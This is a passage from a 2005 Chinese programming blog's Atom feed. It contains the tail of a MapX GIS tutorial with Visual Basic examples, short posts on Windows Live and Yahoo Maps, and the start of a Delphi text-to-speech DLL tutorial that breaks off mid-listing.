<P>&nbsp; On Error GoTo PrinterError <BR>&nbsp;&nbsp; <BR>&nbsp; Printer.Print " " <BR>&nbsp; Printer.CurrentX = 0 <BR>&nbsp; Printer.CurrentY = 0 <BR>&nbsp; MainMap.PrintMap Printer.hDC, 0, 0, MainMap.Width * 100, MainMap.Height * 10<BR>0 <BR>&nbsp; Printer.NewPage <BR>&nbsp; Printer.EndDoc <BR>&nbsp; MainMap.Container.ScaleMode = iScaleMode <BR>&nbsp; Exit Sub <BR>&nbsp;&nbsp; <BR>PrinterError: <BR>&nbsp; If Err.Number = 482 Then <BR>&nbsp;&nbsp;&nbsp;&nbsp; On Error Resume Next <BR>&nbsp;&nbsp;&nbsp;&nbsp; CommonDialog1.Flags = &H40 <BR>&nbsp;&nbsp;&nbsp;&nbsp; CommonDialog1.ShowPrinter <BR>&nbsp; Else <BR>&nbsp;&nbsp;&nbsp;&nbsp; MsgBox "&nbsp;&nbsp;&nbsp; 打印机存在错误，请更正后重试。错误号：" + (Str(Err.Number)), <BR>, "失败" <BR>&nbsp; End If <BR>&nbsp;&nbsp; </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>4、另存为图片文件 <BR>MainMap.ExportMap(App.Path+”Images”, miFormatJPEG)&nbsp;&nbsp; ‘输出当前地图窗口 <BR>参数设置：MainMap.ExportSelection=True&nbsp;&nbsp; ‘将选中部分以不同于其他未选中地图部分<BR>形式输出</P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>六、专题图 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>6种专题图：除独立值专题图绑定的字段类型可以是字符的以外，都必须是数字类型。与其<BR>他数据源绑定时，使用ODBC <BR>调用ThemeDlg对话框可以让用户自己定义专题图。示例： <BR>For Each ftr In lyr.Selection <BR>&nbsp;' The children of the layer are the individual <BR>&nbsp;' features </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;Set ftrNode = QueryTree.Nodes.Add(lyrNode, tvwChild,lyr.Name _ </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;& ftr.Name & Str$(ftr.FeatureID), ftr.Name) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;For Each fld In ds.Fields </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; ' Each feature has data attached to it; add&nbsp; this data as a child of the feature </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; lyr.KeyField = fld.Name </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; QueryTree.Nodes.Add ftrNode, tvwChild, , lyr.KeyField _ </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; & ": " & ftr.KeyValue </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Next&nbsp;&nbsp; <BR>七、在MapX下紧缩表 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>在Professional里面，紧缩表用 Pack Table 语句完成。而在MapX中则需要使用临时图层<BR>，并用复制技术来完成。示例： <BR>‘紧缩当前Map对象中的所有图层 <BR>&nbsp;&nbsp; Dim LayerInfo As New MapXLib.LayerInfo <BR>&nbsp;&nbsp; Dim Lyr As MapXLib.Layer <BR>&nbsp;&nbsp; Dim LyrTemp As MapXLib.Layer <BR>&nbsp;&nbsp; Dim Flds As MapXLib.Fields <BR>&nbsp;&nbsp; Dim Ds As MapXLib.Dataset <BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; Dim I As Integer <BR>&nbsp;&nbsp; Dim LayerName, FilePath As String <BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; On Error Resume Next <BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; For I = MainMap.Layers.Count To 1 Step -1 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;复制源表数据到临时表 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set Lyr = MainMap.Layers.Item(I) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set Ds = Lyr.Datasets.Item(1) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set Flds = Ds.Fields <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerName = Lyr.Name <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.Type = miLayerInfoTypeTemp <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "FileSpec", LayerName <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "NAME", LayerName <BR>&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "Features", Lyr.AllFeatures‘复制所有有效图元 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "Fields", Flds&nbsp;&nbsp;&nbsp; ’复制字段列表 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "AutoCreateDataset", 1 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "datasetname", LayerName <BR>Set LyrTemp = MapTemp.Layers.Add(LayerInfo, 1)&nbsp;&nbsp;&nbsp; ‘复制到另外Map对象 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;删除源表 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set Lyr = Nothing <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FilePath = MainMap.Layers.Item(I).Filespec <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerName = Mid(FilePath, InStr(1, FilePath, "Maps") + 6, Len(FilePath) <BR>- InStr(1, FilePath, "Maps")) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FilePath = Mid(FilePath, 1, InStr(1, FilePath, "Maps") + 5) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerName = Mid(LayerName, 1, Len(LayerName) - 4) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MainMap.Layers.Remove (I) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MainMap.Refresh <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Kill FilePath + LayerName + ".TAB" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;复制临时表数据到源表 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set LyrTemp = MapTemp.Layers.Item(LayerName) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.Type = miLayerInfoTypeNewTable <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "FileSpec", FilePath + LayerName + ".TAB" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "NAME", LayerName <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "Features", LyrTemp.AllFeatures <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "Fields", Flds <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "AutoCreateDataset", 1 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "datasetname", LayerName <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set Lyr = MainMap.Layers.Add(LayerInfo, 1) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;删除临时表 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MapTemp.Layers.Remove (MapTemp.Layers.Count) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MapTemp.Refresh <BR>&nbsp;&nbsp; Next <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; Set Lyr = Nothing <BR>&nbsp;&nbsp; Set Ds = Nothing <BR>&nbsp;&nbsp; Set Flds = Nothing <BR>&nbsp;&nbsp; Set LayerInfo = Nothing </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>八、如何和大型数据库关联 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>系统是混合结构：对地图的访问使用的是文件访问方式，对属性数据的访问使用的是大型数据库形式使用ID关联：在TAB表和数据库中有ID字段，两个字段作为唯一值关联字段。（一对一的关系）。示例： </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Lyr.KeyField=”ID” <BR>Set Ftr=Ftrs.Item(J) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘SQL语句查找对应的属性信息 <BR>SampleAdo.RecordSource =”Select a.id as id,b.name as name from Table1 a, Tabl<BR>e2 b WHERE (a.id=b.id) AND ( a.id LIKE ‘%“ +Ftr.KeyValue+“%’)”</P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>九、空间数据库 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>’空间数据库中的索引技术用的是R_Tree技术，而不是原来一般意义上的B_Tree索引技术。 <BR>’空间数据在Spatial中以地理属性信息形式存放。 <BR>’在Oracle的版本中有如下需要注意事项： <BR>a) Oracle 8.1.5这个版本中，首次引入Spatial组件。使用上非常不好：图形的样式非常单一，且为黑白的而非彩色，上载地图数据时，数据丢失非常严重。存取数据时非常慢。在Spatial中自动创建prinx字段作为地图索引主关键字段 <BR>b) Oracle 8.1.6版本：图形为彩色的，增加了样式的支持，但不支持同一图层下的多样式（主要指点对象）。创建地图数据时，地图的坐标常发生偏移。属性数据更新时，需要两次刷新才能完整提交；地图数据数据提交时，其坐标发生偏移：向原点偏移，需要认为地单独将其移动到其初始创建位置。存取速度上还是比较慢，离实用尚有一定距离。在Spatial中自动创建mi_prinx字段作为地图索引主关键字段 <BR>&sup2; Oracle 8.1.7版本：支持多样式，数据上载丢失非常小（只有文本对象存在丢失的记录）。在地图数据存取不是很大的时候，速度上可以被用户接受。 <BR>&sup2; 如何将MapInfo 的TAB表内容上传到Oracle 中？ <BR>a) 免费工具：easyloader6.7（Oracle 8.1.7），下载地址：<A href="http://www.mapinfo.com.cn/" target=_blank><U><FONT color=#0000ff>www.mapinfo.com.cn</FONT></U></A> <BR>b) 如何上载？注意：上载之前对Tab表进行紧缩。 <BR>c) 在程序中如何使用空间数据库中的地图数据？ <BR>d) 添加地图时，必须指定字段mi_prinx的明确值，且该值不能为表中已存在的值。写入地图数据时，应将其全部NOT NULL 字段值赋给，否则保存失败。 <BR>e) 示例：Tab表+空间数据表 的数据分布形式。 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>十、GIS应用的分发 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>1、 制作你自己的系统的安装盘：可执行文件、必要系统文件、运行库文件、其他数据文件。 <BR>2、 单独的MapX安装盘：MapInfo MapX Runtime安装程序，实际上是MapX控件安装程序（存在于MapX sdk包） <BR>3、 注册：安装完成以后，运行GeosetManager40.exe程序获得硬件ID号，然后通过EMAIL的形式将该ID号发送到MapX产品供应商申请正式的许可文件（mapx40.lic）。获得后覆盖原mapx40.lic文件即可。注意：硬盘格式化后该ID号失效。</P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>十一、构造一个GIS应用系统 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>需求：鹰眼功能、拓扑关系、不同图形不同颜色表现、数据绑定、系统性能。 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>结构分析：做基于TAB文件的GIS系统 <BR>1、 鹰眼功能 <BR>（1） 建立两个Form对象，将两个Map对象分别放在这两个窗口对象中。 <BR>（2） 一个小窗口作为鹰眼窗口，大 窗口作为主地图窗口。鹰眼窗口中的Map对象的视野应很大，而主地图窗口的视野根据需要设置。 <BR>（3） 两个窗口中加载不同的GST文件。需要的是主地图窗口的显示范围应为鹰眼窗口中某个矩形所包含的地图对象范围。 <BR>（4） A、在鹰眼窗口中画一个矩形（Rect为矩形对象），B、主地图窗口执行 Set MainMap.Bounds = Rect <BR>（5） 需要注意的是：鹰眼窗口与主地图窗口两者间的坐标投影系统应完全一致。 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>2、 拓扑关系 <BR>实际上就是图元与图元的空间关系。说历史：原来建立拓扑关系使用的是属性关联。 <BR>点查询、圆查询、矩形查询、多边形查询等这些是属于简单空间关系的对比。而对拓扑关系的查询多数情况下使用Parts对象来解决。 <BR>Ftr1与另一个Ftr2的空间关联：先找到Ftr1的其止节点，然后以这个节点为中心画一个非常小的圆，在这个圆范围内的某个设备可认为与该Ftr1相连。 <BR>判断某个图元在指定图层上的相交对象集合： <BR>Set Ftrs=Lyr.SearchWithinFeature (SearchFtr, miSearchTypePartiallyWithin) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>3、 不同图形不同颜色表现 <BR>（1）更新样式&nbsp;&nbsp; 再结合临时图层就可以很好解决（使用图层刷新）。而且刷新时不会引起整个Map对象的刷新（屏幕抖动） <BR>（2）专题图&nbsp;&nbsp; 存在更新属性值后不能实时刷新专题图的问题。 <BR>4、 数据绑定 <BR>对未绑定的属性集合使用 MainMap.Datasets.ADD <BR>地图集合和属性集合为一个数据集合的不可分割的两个部分 <BR>5、 系统性能 <BR>速度是否为用户所接受、系统是否稳定（界面要求）、修改数据数据的时候是否存在数据一致性维护问题、造价是否合理。 <BR>（1）速度：使用数据分布可以较好地解决：地图数据：地形图数据以文件形式存放，业务地图数据存放在空间数据库中；属性数据：全部存放在大型数据库中。 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（2）系统是否稳定（界面要求）：A、字段全部用英文，B、地图拓扑关系在进入系统以前进行必要的验证，C、文件地图数据中字段数减少到最小，可使访问属性频率大大减少，可有效保证其他用户访问时不会大量出现访问拒绝的现象；D、数据提交时尽可能采用事务机制：事务开始：&nbsp; Lyr.BeginAccess，事务结束：Lyr.EndAccess；E、数据修改提交时尽可能采用批量提交。至于界面要求，应主要满足从地图对象获取相关的要求。 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（3）数据一致维护：遵循图元优先的原则。图形对象必须首先存在，其他相关信息在此基础上建立。注意： <BR>&sup2; 修改时应先修改地图对象，后提交属性信息 <BR>&sup2; 删除时应先删除其他信息，最后删除图形信息 <BR>（4）造价&nbsp; 这里主要指平台费用。A、现有数据格式，B、功能要求：空间分析是否复杂、地图图层是否分散、系统中地图输出的质量要求、系统中统计分析复杂程度是否较繁琐、直接的平台使用用户数（并发数）。</P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=125" /> 
	  <id>http://www.openx.cn/default.asp?id=125</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Microsoft Live介绍]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-06T22:08:05+08:00</updated>
	  <published>2005-11-06T22:08:05+08:00</published>
		  <summary type="html"><![CDATA[在写这篇文章之前我查了查11月的文章目录,发现有则新闻一笔的带过提到了Microsoft的Live野心.或许“野心”这个词有人会说不准确,但是你能想到Live背后隐藏的是多么大的市场么?这么大的市场而且又是那么多的服务联合在一起的,那么只要微软成功就会再一次的谋杀掉很多新兴的Web 2.0公司.<BR><STRONG>种种迹象表明微软正在用他们的智慧创造一个新的时代,构建新的帝国.</STRONG><BR>(内含微软Live发布会图片近50张,用猫上网的用户请耐等待)<BR><BR>
<DIV>那么，我们先来看下MS Live都是哪些服务：<BR><BR>Find and Discover Information：个人信息获取<BR>- Live.com(个性化信息门户)<BR>- Windows Live Search(个性化搜索)<BR></DIV><BR>
<DIV>Enhance and Deepen Relationships：个人信息管理<BR>- Windows Live Mail(邮件)<BR>- Windows Live Messenger(及时通讯)<BR>- Windows Live Favorites(在线书签)<BR>- Windows Live for mobile devices(Live服务的移动设备支持)<BR></DIV><BR>
<DIV>Explore and Find New Interests：社会化网络<BR>- Social Networking(社交网络)<BR>- Windows Live Spaces(Blog)<BR></DIV><BR>
<DIV>Protection and Performance：安全与维护<BR>- Windows Live Safety Center(在线安全中心)<BR>- Windows OneCare Live(在线系统维护)<BR>- Integrated protection(Live服务的安全防护)<BR></DIV><BR>
<DIV>Microsoft Office Live：中小企业在线发布及管理系统<BR>- Microsoft Office Live Basics(类似于企业Blog)<BR>- Microsoft Office Live Essentials(增加企业邮局以及文档、客户、项目管理等功能)<BR>- Microsoft Office Live Collaboration(增加公司内部网功能)<BR></DIV><BR>
<DIV>Xbox Live：Xbox游戏在线服务<BR>- Xbox Live Marketplace(交易中心)<BR>- Ubiquitous voice chat(语音聊天)<BR>- Gamer Profile(玩家档案)<BR>- Xbox Live Arcade on Xbox 360(游戏的在线下载及购买服务)<BR></DIV><BR>
<DIV>以上公布的大部分的服务要过些日子才能真正溶进我们的生活。<BR>其中Live.com已经开始Beta了，如果大家有兴趣的话可以到<A href="http://www.live.com/">www.live.com</A>去看看！<BR></DIV><BR>
<DIV>等等，也许你会说:怕什么，有Google!<BR>是，我也承认Google是个非常有活力的公司，而且他们也一直在不断的进步，但是，在很多方面Google是比不上微软的。就拿前天刚刚出现的Google的个性化主页(中文）来说，微软为对付Google的个性化主页出了start.com，现在又冒出个Live.com。<BR>Google该怎么做？值得注意的是：Live.com的全称是Windows Live,而Start则是定义在MSN门下的，但都是英文的。</DIV>
<DIV>&nbsp;</DIV>
<DIV>Windows Live应该是微软网络战略的一个内容之一，其中还会有Live Software，即网络版的Windows或者Office软件等等，现在可以肯定的是Windows Live一定微软的一个全新的战略，Windows Live将在不久的将来无处不在，比如MSN Search将成为Windows Live Search，而MSN Messenger 8也更名为Windows Live Messenger。而当前的Hotmail用户将“无缝升级”到支持AJAX（Asynchronous JavaScript and XML 异步JavaScript和XML，是指一种创建交互式网页应用的网页开发技术。）的Windows Live Mail。</DIV>
<DIV>&nbsp;</DIV>
<DIV>摘:http://www.cnbeta.com/modules.php?name=News&file=article&sid=9099</DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=124" /> 
	  <id>http://www.openx.cn/default.asp?id=124</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Windows Live Beta 系列试用申请地址]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-06T22:05:30+08:00</updated>
	  <published>2005-11-06T22:05:30+08:00</published>
		  <summary type="html"><![CDATA[<STRONG>Windows Live Mail beta</STRONG>: <A href="http://imagine-msn.com/minisites/mail">http://imagine-msn.com/minisites/mail</A><BR><STRONG>Windows Live Messenger beta</STRONG>: <A href="http://imagine-msn.com/minisites/messenger">http://imagine-msn.com/minisites/messenger</A><BR><STRONG>Windows OneCare live beta</STRONG>: <A href="http://www.imagine-msn.com/minisites/onecare">http://www.imagine-msn.com/minisites/onecare</A><BR><STRONG>Windows Live Mail - mobile beta</STRONG>: <A href="http://imagine-msn.com/minisites/mobile">http://imagine-msn.com/minisites/mobile</A><BR><STRONG>Windows Live Local Beta</STRONG>: <A href="http://www1.imagine-msn.com/minisites/local">http://www1.imagine-msn.com/minisites/local</A><BR><STRONG>Office Live Beta</STRONG>: <A href="http://www.microsoft.com/office/officelive/default.mspx">http://www.microsoft.com/office/officelive/default.mspx</A><BR><STRONG>Try Windows Live Safety Center beta</STRONG> : <A href="http://safety.live.com/">http://safety.live.com</A><BR><STRONG>Try Windows Live Favorites beta</STRONG>: <A href="http://favorites.live.com/">http://favorites.live.com</A>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=123" /> 
	  <id>http://www.openx.cn/default.asp?id=123</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[雅虎升级地图服务,改Flash咯]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-05T07:36:10+08:00</updated>
	  <published>2005-11-05T07:36:10+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://us.a1.yimg.com/us.yimg.com/i/us/map/gr/ma_maps-beta_1.gif[/img]</P>
<P>雅虎地图地址:http://maps.yahoo.com/beta/</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=122" /> 
	  <id>http://www.openx.cn/default.asp?id=122</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[混合编程实现英文文章的语音输出]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-04T15:52:45+08:00</updated>
	  <published>2005-11-04T15:52:45+08:00</published>
		  <summary type="html"><![CDATA[<TABLE>
<TBODY>
<TR>
<TD class=a14>现在有些软件尤其是翻译类软件多提供有语音输出的功能，比较有名的有《金山词霸2000》、《不知不觉背单词》等，他们所提供的英文朗读功能是通过直接使用了Microsoft的TTS(Text-to-Speech)全程化语音技术来实现的。其实我们也可以在自己的程序中通过对MS Speech API的调用来增加语音输出功能，尤其是对于翻译类软件，如果没有语音功能可以说这个软件是不完备的。</TD></TR>
<TR>
<TD class=a14><B>一、准备工作</B></TD></TR></TBODY></TABLE>为实现TTS技术，一个必要的前提条件是系统中要有MS TTS引擎，可以通过查看Windows目录下是否有speech的目录来判断是否安装过该引擎。如果没有，可以从《金山词霸2000》光盘上的ciba子目录下的mstts.exe来安装MS TTS引擎和spchapi（MS Speech API）或是直接从互连网上下载：可以从http://bcbsrc.home.chinaren.com/ttsapi.exe下载语音接口程序TTSapi.exe; 可以从http://bcbsrc.home.chinaren.com/ttssetup.exe下载男声语音引擎程序TTSSetup.exe;可以从http://bcbsrc.home.chinaren.com/ttssetup2.exe下载女声语音引擎程序TTSSetup2.exe。 
<TABLE>
<TBODY>
<TR>
<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14><B>二、引言</B></TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>在整个设计过程中，主要是围绕着Vtxtauto.tlb这个类型库展开的，由于在VC下实现类型库比较烦琐，我们选择使用TLB类型库比较方便的Delphi来同Vtxtauto.tlb进行交互，并将几个主要的功能如"朗读"、"暂停"、"恢复"、"停止"等用几个相应的功能函数来实现，最终通过DLL（动态链接库）将其封装在内，对外则仅提供几个简单接口，可以很方便的为Delphi或其他语言调用。在此我们通过采用VC++6.0来调用这个由Delphi开发的拥有TTS技术的动态链接库来实现英文文本的语音输出。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14><B>三、Delphi动态链接库的实现</B></TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>1、选"File"、"New…"，在"New Items"对话框中选择"DLL"，新建一动态连接库工程Project1。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>2、选"File"、"New…"，在"New Items"中选择"Unit"，新建一单元TTSDLL。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>3、选"Project"、"Import Type Library…"，点击"Add"按钮，选择C:\windows\speech\目录下的Vtxtauto.tlb类型库，便将其添加到工程中来了。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>4、编辑TTSDll单元如下：</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>unit TTSDLL;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>interface</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>uses VtxtAuto_TLB;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Create;export; {待导出的过程和函数}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Read(text:PChar);export;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Pause;export;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Resume;export;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Stop;export;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>function IsSpeaking:Boolean;export;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Destory;export;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
